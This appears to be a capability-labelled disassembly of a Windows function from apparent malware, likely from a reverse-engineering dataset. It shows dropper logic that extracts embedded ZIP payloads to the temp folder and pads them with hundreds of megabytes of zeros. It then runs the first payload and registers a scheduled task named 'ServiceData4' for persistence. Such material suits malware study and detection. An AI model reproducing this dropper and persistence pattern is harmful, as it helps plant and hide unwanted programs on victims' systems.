Function at 0x7edb22
Capabilities:
Create process on windows
Get common file path
Resolve function by parsing pe exports
Schedule task via at
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov edx, dword [0xe20720]
mov eax, dword [0xd0ba28]
add edx, eax
mov eax, dword [0xa0dfe4]
add edx, eax
mov eax, dword [0xc8ba04]
add edx, eax
mov eax, dword [0xd0ba2c]
add eax, edx
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x69], 0
mov dword [ebp - 0x1c], 0x12c00000
lea eax, [ebp - 0x16d]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x7edb9b
mov dword [esp], str.Failed_to_get_temp_path
call sym._perror
mov eax, 1
jmp 0x7ee6d8
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x7edc0e
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x27
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_allocate_memory_for_ZIP_data_n
call sym._fwrite
mov eax, 1
jmp 0x7ee6d8
mov dword [esp], str.memcpy_staring
call sym._puts
mov eax, dword [0xe20720]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xd0ba28]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xa0dfe4]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xc8ba04]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xd0ba2c]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xe20720]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0xa4], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0xa0], edx
mov dword [esp + 0x9c], 0xba28c0
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x98], edx
mov dword [esp + 0x94], 4
fld qword [0x88eab0]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 4
fld qword [0x88ea88]
fstp qword [esp + 0x80]
mov dword [esp + 0x7c], 7
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x78], edx
fld qword [0x88eab0]
fstp qword [esp + 0x70]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x6c], edx
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x68], edx
mov dword [esp + 0x64], 2
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0x60], edx
fld qword [0x88eac0]
fstp qword [esp + 0x58]
mov dword [esp + 0x54], 4
mov dword [esp + 0x50], 6
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x48], 3
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x44], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x40], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x3c], edx
fld qword [0x88eaa8]
fstp qword [esp + 0x34]
fld qword [0x88eaa8]
fstp qword [esp + 0x2c]
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], 7
fld qword [0x88eaa8]
fstp qword [esp + 0x1c]
fld qword [0x88eac0]
fstp qword [esp + 0x14]
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
fld qword [0x88ea98]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_1
call sym._puts
mov edx, dword [0xe20720]
mov eax, dword [ebp - 0x2c]
lea ecx, [edx + eax]
mov eax, dword [0xd0ba28]
mov edx, dword [ebp - 0x28]
mov dword [esp + 0xa4], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xa0], edx
mov dword [esp + 0x9c], 0xbb7160
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x98], edx
mov dword [esp + 0x94], 7
fld qword [0x88ea98]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 3
fld qword [0x88eaa8]
fstp qword [esp + 0x80]
mov dword [esp + 0x7c], 5
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x78], edx
fld qword [0x88ea90]
fstp qword [esp + 0x70]
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x6c], edx
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x68], edx
mov dword [esp + 0x64], 5
mov dword [esp + 0x60], ecx
fld qword [0x88eaa0]
fstp qword [esp + 0x58]
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 9
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x48], 7
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x44], edx
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x40], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x3c], edx
fld qword [0x88ea90]
fstp qword [esp + 0x34]
fldz
fstp qword [esp + 0x2c]
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], 7
fld1
fstp qword [esp + 0x1c]
fld qword [0x88eaa8]
fstp qword [esp + 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 8], eax
fld qword [0x88ea90]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_2
call sym._puts
mov edx, dword [0xe20720]
mov eax, dword [0xd0ba28]
add edx, eax
mov eax, dword [ebp - 0x2c]
lea ecx, [edx + eax]
mov eax, dword [0xa0dfe4]
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xa4], edx
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0xa0], edx
mov dword [esp + 0x9c], 0xb0e020
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x98], edx
mov dword [esp + 0x94], 0
fld qword [0x88eab8]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 5
fld qword [0x88ea98]
fstp qword [esp + 0x80]
mov dword [esp + 0x7c], 6
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x78], edx
fld qword [0x88eaa0]
fstp qword [esp + 0x70]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x6c], edx
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x68], edx
mov dword [esp + 0x64], 4
mov dword [esp + 0x60], ecx
fld1
fstp qword [esp + 0x58]
mov dword [esp + 0x54], 1
mov dword [esp + 0x50], 3
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x48], 0
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x44], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x40], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x3c], edx
fld qword [0x88eaa0]
fstp qword [esp + 0x34]
fld qword [0x88eab0]
fstp qword [esp + 0x2c]
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], 4
fldz
fstp qword [esp + 0x1c]
fld qword [0x88eaa0]
fstp qword [esp + 0x14]
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
fld qword [0x88ea88]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_3
call sym._puts
mov edx, dword [0xe20720]
mov eax, dword [0xd0ba28]
add edx, eax
mov eax, dword [0xa0dfe4]
add edx, eax
mov eax, dword [ebp - 0x2c]
lea ecx, [edx + eax]
mov eax, dword [0xc8ba04]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0xa4], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xa0], edx
mov dword [esp + 0x9c], 0xd4ba60
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x98], edx
mov dword [esp + 0x94], 8
fld qword [0x88eac0]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 7
fld qword [0x88ea90]
fstp qword [esp + 0x80]
mov dword [esp + 0x7c], 4
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x78], edx
fld1
fstp qword [esp + 0x70]
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x6c], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x68], edx
mov dword [esp + 0x64], 4
mov dword [esp + 0x60], ecx
fld qword [0x88ea90]
fstp qword [esp + 0x58]
mov dword [esp + 0x54], 2
mov dword [esp + 0x50], 6
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x48], 7
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x44], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x40], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x3c], edx
fldz
fstp qword [esp + 0x34]
fld qword [0x88ea98]
fstp qword [esp + 0x2c]
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], 6
fld qword [0x88eab0]
fstp qword [esp + 0x1c]
fld qword [0x88ea98]
fstp qword [esp + 0x14]
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 8], eax
fld qword [0x88eab0]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_4
call sym._puts
mov edx, dword [0xe20720]
mov eax, dword [0xd0ba28]
add edx, eax
mov eax, dword [0xa0dfe4]
add edx, eax
mov eax, dword [0xc8ba04]
add edx, eax
mov eax, dword [ebp - 0x2c]
lea ecx, [edx + eax]
mov eax, dword [0xd0ba2c]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0xa4], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0xa0], edx
mov dword [esp + 0x9c], 0xf20760
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x98], edx
mov dword [esp + 0x94], 9
fld qword [0x88ea90]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 2
fld qword [0x88eaa0]
fstp qword [esp + 0x80]
mov dword [esp + 0x7c], 9
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x78], edx
fld qword [0x88ea90]
fstp qword [esp + 0x70]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x6c], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x68], edx
mov dword [esp + 0x64], 7
mov dword [esp + 0x60], ecx
fldz
fstp qword [esp + 0x58]
mov dword [esp + 0x54], 3
mov dword [esp + 0x50], 1
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x48], 2
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x44], edx
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x40], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x3c], edx
fld qword [0x88ea98]
fstp qword [esp + 0x34]
fld qword [0x88eaa8]
fstp qword [esp + 0x2c]
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], 6
fldz
fstp qword [esp + 0x1c]
fld qword [0x88ea98]
fstp qword [esp + 0x14]
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
fld qword [0x88ea98]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_5
call sym._puts
mov dword [esp], str.before_zip_stream_oopen
call sym._puts
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], 0x72
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_open
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x7ee307
mov dword [esp], str.Failed_to_open_zip_stream
call sym._perror
mov eax, 0xffffffff
jmp 0x7ee6d8
mov dword [ebp - 0xc], 0
jmp 0x7ee60f
mov dword [esp], str.zip_entry_open
call sym._puts
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd0ba30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_open
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jns 0x7ee362
mov dword [esp], str.Failed_to_open_zip_entry
call sym._perror
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x7ee6d8
lea eax, [ebp - 0x178]
mov dword [esp + 8], eax
lea eax, [ebp - 0x174]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_read
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jns 0x7ee3b6
mov dword [esp], str.Failed_to_read_zip_entry
call sym._perror
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_close
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x7ee6d8
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_close
lea eax, [ebp - 0x16d]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd0ba30]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
add eax, edx
add eax, 2
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x7ee438
mov dword [esp], str.Failed_to_allocate_memory
call sym._perror
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x7ee6d8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd0ba30]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x16d]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._sprintf
cmp dword [ebp - 0xc], 0
jne 0x7ee4e0
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x7ee4ce
mov dword [esp], str.Failed_to_allocate_memory
call sym._perror
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x7ee6d8
mov eax, dword [ebp - 0x58]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x887a9c
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x7ee536
mov dword [esp], str.Error_opening_file
call sym._perror
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x7ee6d8
mov edx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x60]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x178]
cmp dword [ebp - 0x64], eax
je 0x7ee5b0
mov dword [esp], str.Error_writing_to_file
call sym._perror
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x7ee6d8
mov dword [ebp - 0x14], 0
jmp 0x7ee5df
mov eax, dword [ebp - 0x60]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [ebp - 0x69]
mov dword [esp], eax
call sym._fwrite
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x1c]
jb 0x7ee5b9
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov edx, dword [ebp - 0xc]
mov eax, dword [0xc8ba08]
cmp edx, eax
jb 0x7ee313
cmp dword [ebp - 0x10], 0
je 0x7ee6d3
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.__create__tn__ServiceData4___tr___s___st_00:01__du_9800:59__sc_once__ri_1__f
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x44], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x378]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.schtasks.exe
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret